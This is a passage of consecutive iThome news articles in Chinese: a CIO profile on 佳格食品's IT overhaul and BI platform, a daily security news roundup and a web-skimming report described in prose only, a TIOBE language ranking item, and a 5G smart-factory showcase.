<p>「過往全靠業務人員，依照各別報表需求，人工至各大通路的銷售數據平臺，取得產品的銷售資料，非常費時。」李俊明直言，佳格面臨的最大挑戰就是，缺乏通路端的銷售資料。</p> <p>因此，李俊明決定聚焦推動BI平臺，先建立組織的資料處理能力，建置完整且統一的自動化資料接收機制，有效彙集所有通路的銷售資料，以提升業務人員的作業效率。</p> <p><span style="font-size:28px;"><strong>優化營運作業資訊化程度前，先重整資訊基礎建設</strong></span></p> <p>不過，要導入BI平臺，並非一蹴可幾，對於佳格來說，想要優化營運作業的資訊化程度，特別是提升外部資料的收集能力，甚至邁向高度數位化的發展，必須先重頭整頓資訊基礎建設。</p> <p>李俊明2020年10月上任時，經營高層把改造IT體質的任務交給他。費了好大一番功夫，他由下而上，全面審視了佳格各項資訊建設的現狀，發現現有IT以支援基礎需求為主。</p> <p>他先從網路升級開始做起，包括內網和對外傳輸能力，比如說，對外頻寬從6Mb一舉提升至300Mb，也規畫了全新的網路架構，讓分處不同縣市的工廠和營業所，不需連回總部也能對外連網。</p> <p>同時，也全面翻新了資安建設，一方面開始強化組織的資安意識，建立系統性的資安防護架構和措施。過往，佳格透過網路頻寬限制，來排除資安威脅的可能性，但著眼未來，李俊明認為，佳格需擴大網路頻寬，還有落實資安防護，才能發展創新資訊應用，支援營運持續地成長。他開始導入如弱點掃描、滲透測試，甚至社交工程演練，作為資安防護工程的例行工作，來確保佳格的IT根基穩固。</p> <p>除此之外，他也扭轉佳格對資訊基礎設施需放在自家機房才安全的思維，開始租用IDC機房，來部署部分資料庫及伺服器。</p> <p>佳格機房過去曾因大樓水、電供應不穩，而無法運作，甚至，有時一停就是數小時乃至半天，對佳格的營運，造成很大的影響。李俊明直言，當機房缺乏完善的基礎設施，就不足以支援伺服器正常運作。</p> <p>佳格經營高層給李俊明的課題是，支援營運持續發展，IT軟硬實力都須優化。因此，李俊明的IT改造，不只是IT基礎建設，也大幅翻新了IT組織和人員的工作制度。</p> <p>李俊明重塑了資訊處的組織結構，將原先沒有明確分責的團隊，劃分成3個部門，分別是掌管ERP、工廠端系統的核心系統部，還有負責所有前端系統，包含網站、電商平臺、CRM等應用的數位應用部，以及聚焦建置、維護資訊架構的基礎架構部，並建立了一套資訊處的組織工作制度。</p> <p>他表示，缺乏專責領導者，會導致負責不同IT領域的資訊人員間，缺乏溝通與交集，內部跨領域溝通容易出現隔閡，特別是執行大型專案時，不易整合跨系統的資料。因此，除了訂出3個部門的組織結構，他也指定了各部門的負責主管，通過定期周會的形式，讓3個團隊能相互分享手上工作的進度，共同掌握、審視彼此任務的狀況，相互提醒未注意的環節。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/350-%E6%9D%8E%E4%BF%8A%E6%98%8E_%E4%BD%B3%E6%A0%BC%E9%A3%9F%E5%93%81-V2.png" style="width: 383px;" /></p> <p><span style="color:#696969;"><span style="font-size:14px;">攝影／洪政偉</span><br /><strong>佳格食品資訊處處長李俊明表示，IT須超前一步了解營運端需求，找尋合適的解決方案，不應被動等待使用者提需求，才能展現IT價值。</strong></span></p> <p><span style="font-size:28px;"><strong>建立商業型IT，承擔支援營運團隊發展的責任，預見營運面IT需求</strong></span></p> <p>更關鍵的改造策略是，李俊明將IT團隊轉變為商業型IT（Business IT），強化資訊處與其他營運團隊的關係，包含行銷、業務、財務等單位，取代傳統型IT的模式，不再是只專注資訊科技開發、維運等分內工作，而少與營運團隊使用者直接接觸的工作模式。</p> <p>李俊明表示，IT團隊不能只做分內事，作為商業型IT，不能等待需求才行動，而要與業務團隊有更多互動。他強調，這不是指基本社交往來，而是每當營運團隊有新想法時，IT不僅要滿足他們的需求來調整系統或新增功能，還要與使用者溝通，提出完整的解決方案，滿足更全面性的資訊需求，甚至預見營運端未來的需要，提出相應做法。</p> <p>為了逐步形塑Business IT的樣貌，李俊明在資訊團隊內推動當責文化，鼓勵自家IT人員轉變工作心態，主動承擔更多的責任，來降低跨組織溝通的障礙，他最常用這一句話來鼓勵團隊，「IT人處事不要只想自己在做的事，永遠要多想一步，」設想使用者日常營運的情境，思考多做哪些事，就能協助營運團隊提升工作效率。</p> <p>然而，多想一步的做事方式，要內化處事思維，不容易。李俊明坦言，因需改變處事習慣，不管是誰都很難立即做到，因此，他從一級部屬開始，循序漸進引導整個資訊團隊朝當責文化的方向前進。</p> <p>比如說，周會時提醒一級部屬思考更好的作法，如何超越使用者需求，未來如何推展專案等。</p> <p>李俊明還會不斷拋問題，「接下來呢？下一步呢？」，來讓IT人員習慣提前思考後續規畫，慢慢形成慣性思維。就連平時推行專案時，他也帶入「多想一步」的思考方式，要求IT人員研究各種解決方案，找出最適合佳格的作法，再向營運團隊介紹其可發揮的作用。</p> <p>更重要的是，IT不能等到營運團隊提需求，再來找解方，而是得提前觀察日常營運的痛點來思考對策。李俊明解釋，使用者提出需求時，多半只看到單方面的資訊功能，但IT可以看到營運面的需求，考量更全面性的轉變，來評估合適的解決方案，他指出，這是商業型IT和傳統IT最大不同之處。</p> <p>資訊團隊引進IT工具後，得與營運團隊討論如何善用，以達到特定的營運目標，來掌握新工具可落地的應用場景，才開始著手建置符合使用情境的IT應用。李俊明表示，通過這樣的流程，資訊團隊與營運團隊會有更緊密的交集。</p> <p>要比營運團隊早一步發掘IT需求，IT團隊必須對新IT資訊有高度的掌握，因此，李俊明鼓勵人員參加外部研討會和訓練課程，他表示，在外接受新資訊的刺激，才能快速引入可協助營運成長的IT應用，還要在月會上分享新資訊，讓團隊能一同成長。</p> <p>正是因為這個「多想一步」思維的培養，佳格IT才發現了業務長年沒有意識到的侷限。業務報表得靠人員至各通路銷售資料庫網站，取回產品銷售資料，不只相當耗時，這些資料也是片段式的產品數據，難以呈現單一通路的整體銷售狀況，若要整理跨通路或跨時間區段的銷售狀況，還得靠人力花上好幾天才能建立比較表。這是佳格業務團隊長年習慣的做法，資料彙整費時，一旦市場需求突然改變，營運團隊更無法即時做出相應的決策。</p> <p><span style="font-size:28px;"><strong>引進BI平臺，先清洗通路端資料才能視覺化呈現產品銷售狀況</strong></span></p> <p>佳格資訊團隊發現這個業務痛點後，向營運團隊說明BI工具可產生的效益，不只能提高業務人員參與專案的深度，也更能掌握高層想要追蹤的資料。IT主動提議可以借助BI平臺，來改變佳格長年來管理銷售數據的模式，這正是李俊明推動商業型IT思維的成果。</p> <p>2020年底，佳格開始推動BI工具專案，利用RPA技術，模擬人工到通路端銷售數據平臺的操作，自動抓取資料，來彙集各通路產品的每日銷售數據，再以視覺化方式呈現產品銷況，提供業務人員快速掌握來決策。</p> <p>與多家通路業者合作的佳格，選擇全聯作為首個資料彙集對象，李俊明說明，全聯是旗下主要大型合作通路之一，所提供的銷售資料相對完整，能以天為單位，呈現產品銷售相關數據。</p> <p>然而，佳格資訊團隊在資料整理階段，仍然遭遇了不小的挑戰，因來自通路的銷售資料以商品貨號為基準來呈現，與佳格內部所用的資料格式不同，且組合商品的單一貨號代表了數件產品，因而無法直接憑貨號來辨識品項。</p> <p>資訊團隊前後花了近3個月清洗全聯的銷售資料，才將商品貨號與產品品項對應。2021年3月時，完成通路端實銷狀況的第一個BI雛型，4月正式上線運作。</p> <p>有了建置全聯BI雛形的經驗後，佳格IT得以快速開發其他大型零售通路的BI工具，包含大潤發、家樂福、好市多等賣場，現可透過BI工具，掌握近8成合作通路的每日銷售數據。</p> <p>下一步，佳格資訊團隊將進一步建立資料分析能力，導入機器學習技術，利用抓回的產品銷售數據訓練模型，來預測供應鏈的備料需求，以及產線端的排程規畫。</p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> CIO小檔案 </span></strong></span></p> <p><strong>佳格食品資訊處處長李俊明</strong></p> <p>學歷：曼徹斯特大學電機工程碩士</p> <p>經歷：曾服務於AMD長達8年，任職於資訊部門，在2013年時，加入安麗臺灣，擔任資訊基礎設施主管，6年後，升任臺灣分公司資訊部最高主管，開始累積開發、維運端管理經驗。2020年進入佳格食品，擔任資訊處處長，帶領團隊重整IT基礎建設，並轉變團隊成商業型IT</p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 公司檔案 </span></strong></span></p> <p><strong>佳格食品</strong></p> <p>地址：臺北市仁愛路三段136號5樓</p> <p>網址：<a href="http://www.sfworldwide.com">www.sfworldwide.com</a></p> <p>成立時間：1986年</p> <p>主要業務：製造及銷售營養食品、食用油品、乳製品及飲料等</p> <p>總部：臺北市</p> <p>員工數：約1,350人</p> <p>資本額：92億元</p> <p>年營收：約344億元（2020年）</p> <p>董事長：曹德風</p> <p>總經理：曹博睿</p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 資訊部門檔案 </span></strong></span></p> <p>資訊部門名稱：資訊處</p> <p>資訊部門主管職稱：處長</p> <p>資訊部門主管姓名：李俊明</p> <p>直屬主管：執行長</p> <p>資訊部門人數：21人</p> <p>資訊部門年預算：約8,500萬元</p> <p>資訊部門分工：數位應用部、核心系統部、基礎架構部</p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> IT大事記 </span></strong></span></p> <p>2020年Q4：強化資安防護力，導入次世代防火牆</p> <p>2021年Q1：導入雲端版辦公室套件；部署SD-WAN；啟用IDC機房，存放部分資料庫與伺服器；建立異地備份</p> <p>2021年Q2：導入公有雲虛擬桌面服務，疫情期間，支援人員居家辦公需求；導入BI工具，彙集跨通路每日實銷數據；導入知識管理系統，集中存放、管理產品相關資訊</p> <p>2021年Q3：導入數位辦公環境、超融合解決方案</p> </div></div></div><div class="field field-name-field-image field-type-image field-label-hidden"><div class="field-items"><div class="field-item even"><img src="https://s4.itho.me/sites/default/files/960-li_jun_ming_jia_ge_shi_pin_-2.png" width="960" height="420" alt="" title="佳格食品資訊處處長李俊明　（攝影／洪政偉）" /></div></div></div>
2022/1/6 07:00作者黃郁芸https://www.ithome.com.tw/people/148669
【資安日報】2022年1月5日，研究人員發現70個網站快取中毒漏洞，摩根史坦利支付6千美元和解資料外洩訴訟
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>網站快取中毒（Web Cache Poisoning）已非新的網站弱點，但這樣的弱點在網站上究竟有多嚴重？有研究人員在一年內進行相關研究後，揭露GitHub、GitLab、HackerOne、Cloudflare等網站所存在的相關漏洞，以及發現使用Apache Traffic Server架設的網站快取伺服器，也存在CVE-2021-27577漏洞。該名研究人員<a href="https://youst.in/posts/cache-key-normalization-denial-of-service/">在研究初期很快就發現2個漏洞</a>，意識到網站快取中毒的影響層面極為廣泛，決定著手進一步調查。</p> <p>另一個引起關注的新聞，則是知名的財務管理公司摩根史坦利（Morgan Stanley），最近針對2016年遭客戶集體訴訟，決定付錢和解。這起事故突顯該公司當時對於所保存的客戶資料，沒有進行妥善的處理，而隨著報廢的伺服器外流。美國貨幣監理局（OCC）也於2020年，祭出6千萬美元的處罰。</p> <p>最近2年，不時傳出臉書、YouTube、Instagram等社群網站，因用戶張貼的圖片、影片疑似侵犯他人的著作權，而暫停用戶帳號的情況，尤其對於專門經營自媒體的人士而言，一旦辛苦經營帳號被封鎖，很可能影響收入，通常他們也會急於尋求帳號恢復。而有歹徒也看上這點，發送假的侵權通知信件，意圖挾持使用者的社群網站帳號，特別是鎖定Instagram用戶的情況，近期可說是相當頻繁。有資安業者揭露近期攻擊者的手法，過程中他們甚至會點名圖片侵權的內容，讓人以為帳號真的遭到停用。研究人員呼籲，用戶收到這種通知信，應留意是否為真實侵權事件。</p> <h3><strong>【攻擊與威脅】</strong></h3> <h4><a href="https://www.zacks.com/stock/news/1846666/morgan-stanley-ms-to-pay-60m-penalty-over-data-breach-suit"><span style="color: rgb(0, 0, 0);"><strong>針對用戶資料外洩事故，摩根史坦利同意支付6千萬美元和解</strong></span></a></h4> <p>根據路透社報導，財務管理公司摩根史坦利（Morgan Stanley）於2016年，因關閉美國境內2座財富管理業務部門的資料中心，出售要報廢的伺服器，卻沒有完全清除這些主機上的客戶資料，而遭到近1,500萬名客戶提出集體訴訟，最近該公司同意以6千萬美元和解，受影響的客戶可獲得至少2年的詐欺保險，並可申請最高一萬美元的現金賠償。此案美國貨幣監理局（OCC）也介入調查，並於2020年10月判處摩根史坦利民事罰金6千萬美元。</p> <h4><strong><a href="https://nakedsecurity.sophos.com/2021/12/30/instagram-copyright-infringment-scams-dont-get-sucked-in/"><span style="color: rgb(0, 0, 0);">攻擊者佯稱Instagram用戶版權爭議，意圖騙取帳密</span></a></strong></h4> <p><a href="https://s4.itho.me/sites/default/files/images/ccn-page1-640.png"><img alt="" src="https://s4.itho.me/sites/default/files/images/ccn-page1-640.png" style="width: 200px; float: right;" /></a>資安業者Sophos針對攻擊者假借Instagram侵權的名義，進行網路釣魚攻擊的行為進行解析，並指出攻擊者已經使用更為幾可亂真的釣魚信，宣稱用戶的貼文遭到舉報有版權爭議，Instagram帳號將會被刪除。一旦使用者根據指示填寫申訴表格，將會被帶往專屬的詐騙網頁，當中含有疑似侵權的Instagram貼文，並要求用戶輸入2次密碼，最終在騙得密碼後，將用戶重新導向Instagram的版權說明網頁。研究人員提醒，要留意這類詐騙與真實侵權通知的不同之處，並使用多因素驗證（2FA）來保護自己的Instagram帳號。</p> <h4><strong><a href="https://www.bleepingcomputer.com/news/security/hackers-use-video-player-to-steal-credit-cards-from-over-100-sites/"><span style="color: rgb(0, 0, 0);">駭客透過網路影音串流服務，針對上百個房地產網站發動攻擊，竊取用戶信用卡資料</span></a></strong></h4> <p>資安業者Palo Alto Networks指出，他們發現一起網站側錄攻擊（Web Skimming）行動，鎖定房仲業者而來，攻擊者利用雲端影音代管服務，將惡意程式碼注入網站的影片播放器，一旦網站載入播放器便會遭到感染，超過100個房地產網站受害。研究人員指出，這個雲端影音代管服務提供用戶透過JavaScript指令集，來自訂播放器組態，他們認為攻擊者可能獲得上游JavaScript指令集的存取權限，從而注入惡意指令。</p> <h4><a href="https://blog.minerva-labs.com/malicious-telegram-installer-drops-purple-fox-rootkit"><span style="color: rgb(0, 0, 0);"><strong>攻擊者利用惡意Telegram安裝程式投放Purple Fox</strong></span></a></h4> <p>資安業者Minerva指出，他們看到駭客使用竄改後的即時通訊軟體Telegram安裝程式，在受害電腦植入<a href="https://www.ithome.com.tw/news/143463">惡意軟體Purple Fox</a>來進行竊密。過程中攻擊者會停用防毒軟體，以及使用者帳號控制（UAC）功能，以便下一步執行惡意軟體載入器投放Purple Fox。研究人員表示，攻擊者使用多種小工具來進行作業，但這些工具多半難以被防毒軟體識別為有害，而能成功散布Purple Fox。</p> <h4><strong><a href="https://therecord.media/north-korean-hackers-attack-russian-diplomats-using-new-year-greetings/"><span style="color: rgb(0, 0, 0);">北韓駭客組織Konni鎖定俄國外交官發動攻擊</span></a></strong></h4> <p><a href="https://s4.itho.me/sites/default/files/images/Happy-Holidays-Konni.jpg"><img alt="" src="https://s4.itho.me/sites/default/files/images/Happy-Holidays-Konni.jpg" style="width: 300px; float: right;" /></a>資安業者Cluster25指出，他們自2021年8月，追蹤北韓駭客組織Konni的動態，結果發現，近期他們鎖定俄羅斯駐印尼大使館，以祝賀2022年新年到來的名義，發動釣魚郵件攻擊，郵件挾帶具有俄文問候的螢幕保護程式檔案，一旦執行會在安裝螢幕保護程式的同時，植入RAT木馬程式，攻擊者進而控制受害電腦。此外，攻擊者亦假冒俄羅斯駐塞爾維亞大使館，而讓釣魚郵件更難被識破。</p> <h4><strong><a href="https://www.securityweek.com/saltzer-health-informs-patients-personal-information-exposure"><span style="color: rgb(0, 0, 0);">美國愛達荷州醫療機構Saltzer Health員工電子郵件信箱遭駭，1.5萬人資料外洩</span></a></strong></h4> <p>美國愛達荷州醫療機構Saltzer Health近日向病人發出通知，表明日前有未經授權的人士於2021年5月25日至6月1日，存取員工的電子郵件帳號，而導致病人的部分個資可能遭到洩露，包含姓名、駕照號碼、社會安全碼、財務帳戶資料，但病歷、用藥記錄、保險資料不受影響。根據該機構向美國衛生與公共服務部（HHS）通報的資料，可能約有15,650人會受到波及。</p> <h4><strong><a href="https://www.bleepingcomputer.com/news/security/uscellular-discloses-data-breach-after-billing-system-hack/"><span style="color: rgb(0, 0, 0);">美國電信業者UScellular計費系統遭駭，用戶資料外洩</span></a></strong></h4> <p>美國第4大電信業者UScellular，近期向405名客戶發送通知，表明他們在2021年12月13日，發現計費系統疑似遭到未經授權的人士存取，根據調查結果，研判攻擊事件發生在12月13日至19日，攻擊者不只存取計費系統，還有可能也入侵了客戶關係管理系統（CRM），不過，目前沒有跡象顯示，有任何用戶的帳號遭到異常存取。UScellular並未表明是否有員工的帳號遭到波及，但他們重設了門市員工的密碼。</p> <h4><strong><a href="https://www.bleepingcomputer.com/news/security/have-i-been-pwned-warns-of-datpiff-data-breach-impacting-millions/"><span style="color: rgb(0, 0, 0);">混音創作共享平臺DatPiff驚傳資料外洩，近750萬用戶帳號在暗網流竄</span></a></strong></h4> <p><a href="https://s4.itho.me/sites/default/files/images/raidforums.jpg"><img alt="" src="https://s4.itho.me/sites/default/files/images/raidforums.jpg" style="width: 300px; float: right;" /></a>以提供混音創作者分享混音作品的DatPiff網站，傳出用戶資料庫自2020年7月起，流入駭客論壇求售，當中包含7,476,940筆會員資料。這些資料外洩的情況，是到了2021年12月上旬資安研究人員Damien Bancal揭露，上述資料是有人使用網站漏洞掃描工具，破壞包含舊資料庫備份的伺服器取得，這些資料近期被密碼外洩查詢網站Have I Been Pwned收錄，該網站亦建議受影響用戶最好重設密碼來因應。</p> <p> </p> <h3><strong>【漏洞與修補】</strong></h3> <h4><strong><a href="https://portswigger.net/daily-swig/researcher-discovers-70-web-cache-poisoning-vulnerabilities-nets-40k-in-bug-bounty-rewards"><span style="color: rgb(0, 0, 0);">研究人員發現70個網站快取中毒漏洞，恐被攻擊者用於DoS或XSS攻擊</span></a></strong></h4> <p><a href="https://s4.itho.me/sites/default/files/images/gram.png"><img alt="" src="https://s4.itho.me/sites/default/files/images/gram.png" style="width: 300px; float: right;" /></a>資安研究人員Iustin Ladunca公布針對網站快取中毒（Web Cache Poisoning）的漏洞研究，這些漏洞存在於GitHub、GitLab、HackerOne、Cloudflare，以及採用Apache Traffic Server的伺服器。該名研究人員指出，由於現代網站嚴重依賴JavaScript和CSS樣式表，暫存伺服器設置又往往只支援靜態檔案，而使得這些暫存資料成為攻擊者下手的目標，可用於發動阻斷服務（DoS）攻擊，或是跨網站程式碼（XSS）攻擊。他總共因相關研究挖掘70個漏洞，獲得4萬美元獎金。</p> <p> </p> <h3><strong>【資安產業動態】</strong></h3> <h4><strong><a href="https://www.ithome.com.tw/news/148712"><span style="color: rgb(0, 0, 0);">Google買下以色列資安新創Siemplify</span></a></strong></h4> <p>Google於1月4日宣布買下以色列的安全協調、自動化及回應（SOAR）供應商Siemplify，雙方並未公布財務細節，但外傳此交易價值5億美元，該公司也是Google首次買下的以色列資安業者。未來Siemplify將併入Google Cloud安全團隊，而Google也將會持續投資該公司所具有的SOAR能力，並整合到Chronicle安全服務。</p> <h4><strong><a href="https://www.bleepingcomputer.com/news/microsoft/first-microsoft-pluton-powered-windows-11-pcs-unveiled-at-ces/"><span style="color: rgb(0, 0, 0);">搭載微軟安全處理器Pluton的個人電腦首度於CES亮相</span></a></strong></h4> <p>聯想在國際消費性電子產品展CES 2022中，發表了ThinkPad Z13和Z16筆記型電腦，這系列產品配置了AMD Ryzen 6000系列處理器，是首款具備Microsoft Pluton安全處理器的個人電腦。</p> <p> </p> <h3><strong>【資安防禦措施】</strong></h3> <h4><strong><a href="https://www.bleepingcomputer.com/news/security/ftc-warns-companies-to-secure-consumer-data-from-log4j-attacks/"><span style="color: rgb(0, 0, 0);">美國政府要求企業力求客戶資料免於Log4Shell威脅，否則將採取法律行動</span></a></strong></h4> <p>美國聯邦貿易委員會（FTC）於1月4日發布公告，要求企業要防範Log4Shell漏洞的相關攻擊，以免客戶資料因此外洩。該單位揚言若是企業沒有採取適當的保護措施，他們可能會採取法律行動。FTC亦建議企業遵循美國網路安全暨基礎架構安全局（CISA）的指引，來緩解Log4Shell漏洞帶來的威脅。</p> <p> </p> <p>【近期資安日報】</p> <p><a href="https://www.ithome.com.tw/news/148704">2022年1月4日，從網頁複製指令貼上恐被用於攻擊行動、偵測物聯網裝置威脅出現新的方法</a></p> <p><a href="https://www.ithome.com.tw/news/148681">2022年1月3日，Log4Shell漏洞被用於攻擊學術機構，網路叫車系統Uber郵件系統可被冒名寄詐騙郵件</a></p> <p><a href="https://www.ithome.com.tw/news/148656">2021年12月30日，加密貨幣交易所因Log4Shell漏洞成勒索軟體受害者、T-Mobile用戶遭到SIM卡挾持攻擊</a></p> <p><a href="https://www.ithome.com.tw/news/148630">2021年12月29日，密碼管理系統LastPass驚傳遭到帳號填充攻擊，音訊設備大廠、美國物流業者雲端配置不當</a></p> <p><a href="https://www.ithome.com.tw/news/148622">2021年12月28日，資安成國際半導體展要角，勒索軟體eCh0raix於聖誕節前夕攻擊威聯通NAS</a></p> <p><a href="https://www.ithome.com.tw/news/148597">2021年12月27日，IT業者公布Log4Shell漏洞影響情形，疑似由Babuk修改而成的勒索軟體Rook已有受害者</a></p> <p><a href="https://www.ithome.com.tw/news/148576">2021年12月24日，Apache網頁伺服器驚傳重大漏洞，以解僱為由的網釣攻擊散布惡意軟體Dridex</a></p> <p><a href="https://www.ithome.com.tw/news/148544">2021年12月23日，阿里巴巴Log4Shell漏洞未先通報中國政府遭到制裁，微軟Teams應用程式漏洞恐被用於詐騙</a></p> <p><a href="https://www.ithome.com.tw/news/148522">2021年12月22日，Log4Shell隱含SBOM－軟體元件列管問題，暗網市集恐成攻擊者購買入侵帳密來源</a></p> <p><a href="https://www.ithome.com.tw/news/148484">2021年12月21日，比利時國防部遭Log4Shell漏洞攻擊，駭客以輝瑞藥廠的名義進行網路釣魚</a></p> <p><a href="https://www.ithome.com.tw/news/148463">2021年12月20日，Log4Shell出現新的阻斷服務漏洞、勒索軟體Conti鎖定VMware vCenter發動攻擊</a></p> <p><a href="https://www.ithome.com.tw/news/148426">2021年12月17日，Log4Shell出現大量攻擊、間諜軟體攻擊全球工控系統</a></p> </div></div></div>
2022/1/5 15:48作者周峻佑https://www.ithome.com.tw/news/148721
駭客借道雲端影片平臺於房地產網站植入側錄工具，竊取訪客支付資訊
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>供應鏈攻擊已成為駭客主要的攻擊手法之一，<a href="https://unit42.paloaltonetworks.com/web-skimmer-video-distribution/" target="_blank">資安業者Palo Alto Networks則在本周公布了一起新的攻擊方式</a>，駭客竄改雲端影片平臺的播放器，於播放器中植入側錄工具，造成嵌入該影片的上百個房地產網站都受到波及。</p> <p>Palo Alto Networks並未公布該雲端影片平臺的名稱，僅說該平臺允許使用者自製播放器，而且還可以在播放器中嵌入JavaScript檔案以進行客製化，在此一案例中，使用者所上傳的腳本程式可被竄改以納入惡意程式。</p> <p>研究人員推測，駭客變更了靜態的腳本程式，並加入了側錄程式碼，當雲端影片平臺更新播放器時，重新汲取了受感染的檔案，而讓播放器染毒。</p> <p>Palo Alto Networks偵測到有超過100個房地產網站，匯入了含有側錄程式的影片與播放程式，且這些網站都來自同一個集團。</p> <p>當使用者希望自房地產網站取得更多的資訊時，就會被要求輸入更詳細的個人資訊，側錄程式便於此時展開作用，蒐集了使用者的姓名、電子郵件帳號及電話號碼等個人資訊，再將它們傳送到駭客所控制的伺服器上。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/0105-palo%20alto%20web%20skimming.png" style="width: 600px;" /></p> <p><span style="color:#696969;">圖片來源_Palo Alto Networks</span></p> <p>Palo Alto Networks指出，側錄程式的樣貌非常的多變且難以捉摸，若結合雲端遞送平臺將可造成更嚴重的影響，建議網站管理員不僅應該保護所有的帳號，更應定期檢查網頁內容的完整性，以避免網站被嵌入惡意程式碼。</p> </div></div></div>
2022/1/5 16:19作者陳曉莉https://www.ithome.com.tw/news/148722
Python再次獲得TIOBE年度程式語言獎
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>Python獲得<a href="https://www.tiobe.com/tiobe-index/">2021 TIOBE年度程式語言獎</a>，這是接續著2020年，連續兩次獲獎。TIOBE年度程式語言獎頒發給一年中，評分成長最多的程式語言，這次C#差點有史以來第一次拿到這個獎項，但是Python得分在上個月超過了C#，成為最終獲獎者。</p> <p>Python在2021年的表現讓人印象深刻，從年初TIOBE Index第3名，一路追趕超過Java和C，成為第1名，而且持續往上，目前比第2名C的評分高超過1％，雖然離Java在2001年的巔峰26.49%還有一段距離，但官方提到，Python在許多領域都已經成為標準程式語言，他們相信Python仍會繼續成長。</p> <p>除了Python之外，也有不少新興程式語言的變化值得關注，包括Swift從13名上升到第10名，Go從14些微上升到13，Rust繼續維持在26名，Kotlin從40名大幅進步到29名，而資料科學新興語言Julia，則從23往後退至28名，Dart從25下降至37名，TypeScript從42下降到49名。</p> <p>官方預測，除了Swift和Go之外，近期不會有任何新語言，進入前5甚至是前3名了。</p> </div></div></div>
2022/1/5 16:29作者李建興https://www.ithome.com.tw/news/148723
雲達展示廣達5G智慧工廠應用，結合生態系夥伴擴大5G應用
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>廣達旗下的雲達科技，近期在Q.synergy中展示國產5G專網方案，包括5G專網RAN、核心網及網管平臺，同時也透過Open Lab展示雲達自行開發或與合作夥伴合作開發的5G智慧工廠應用，其中一部分已實際用於廣達旗下的智慧工廠。</p> <p>在Q.synergy特別由雲達科技雲端應用研究二處處長林繼正介紹，雲達的5G企業專網智慧工廠應用實例，林繼正表示，如同直播，同一時間開啟多個直播，容易導致網路塞車，5G專網能夠針對同時間多個影像的上傳，提供最大的上行頻寬。5G智慧工廠應用在自動化生產線、伺服器機櫃組裝生產線上。</p> <p>以自動化生產線為例，5G RRU涵蓋65m x 55m的範圍內，可支援3條生產線共55個720P畫質IP攝影機的影像上傳，而在產線後端搭配一組4K攝影機，拍下每個PCB板的超高畫質影像，將影像上傳至Edge Cloud儲存，作為後續生產履歷的品質追溯，並透過影像分析，持續改善良率。</p> <p>在此一自動化產線的5G應用場域中，5G RRU支援59個用戶終端裝置，包括55個IP網路攝影機、1個4K攝影機及3個AR眼鏡，部分設備需要較高的上傳或下載頻寬，整體的往返延遲時間在100毫秒（0.1秒）內。</p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/5Gapp.jpg" style="width: 600px; height: 389px;" /></p> <p>自動化產線上部署大量IP攝影機，主要用於維護環境與機械手臂運作安全，IP網路攝影機通過Wi-Fi將影像傳送至通用客戶端設備（uCPE），利用該設備具有的AI功能，自動辨識特定範圍內，例如機械手臂運作區域是否有人員靠近，若偵測到人員進入警戒區域，則將警示的影像經由5G RRU、經BBU送到5G核網，進一步由應用伺服器分析影像，進行臉部辨識，同時發出控制命令給機械手臂，例如當人員靠近機械手臂黃色警戒區域，自動控制手臂放慢動作，當人員進入手臂運作的紅色警戒範圍，則停止手臂運作。</p> <p>而在自動化產線的後端，廣達透過4K攝影機拍攝組裝的主機板影像，當偵測到PCB板有瑕疵時，交由現場維修工程師戴上AR眼鏡，通過AR影像的虛實疊合，在PCB板上標示瑕疵的位置，林繼正表示，如此一來，改變維修流程及效率。</p> <p>機櫃組裝線也部署5G應用，在長達2公尺的機櫃組裝線，林繼正指出，機櫃組裝線的AR應用所需考慮到的三項關鍵，首先是建立AR SOP作業方式，將具有老手的經驗捕捉下來，並將原本的SOP轉為互動式的AR SOP，其次是，讓組裝新手，戴上AR眼鏡，透過定位及虛實疊合（區域及細節的準確性）技術，即使AR眼鏡移動仍能準確追蹤，特別是機櫃組裝上複雜的整線、束線設計，必需確保AR的虛擬指示，可以準確追蹤每個孔位，以人機互動設計與指令方式，指引新手組裝。最後，利用AR眼鏡上的攝影機，在組裝作業進行的同時，將組裝過程的影像經由AI執行作業的品質檢測。</p> <p><span style="font-size:18px;"><span style="color:#B22222;"><strong>雲達5G Open Lab展示更多智慧工廠應用</strong></span></span></p> <p>雲達也在近期與英特爾合作共同成立5G Open Lab，由Open Lab展示更多由雲達自行開發或是與合作夥伴共同開發的智慧工廠應用，其中之一是透過IIoT Intelligence Dashboard儀表板，掌控工廠內生產線設備的運作狀態，例如產線上機械手臂的嫁動率、馬達運轉情形、感測器是否正常、未來使用壽命預估等等。</p> <p>該儀表板也能顯示每個機械手臂的作業安全，如同前面提到的，結合 5G、攝影機、AI辨識，建立機械手臂的安全圍籬，當有人員接近手臂運作範圍，自動控制手臂放慢或停止運作，避免產線上的安全事件。</p> <p>而AR應用方面，搭配AR眼鏡讓沒有作業經驗的新手，能根據AR影像的引導，在不需要老手的指導下完成組裝作業，同時，透過儀表板掌握每個站點上使用AR眼鏡的作業人員生產數據，針對問題去解決，逐漸提升效率，或是在作業的時間內，站點是否有作業人員就位，並開始組裝作業。</p> 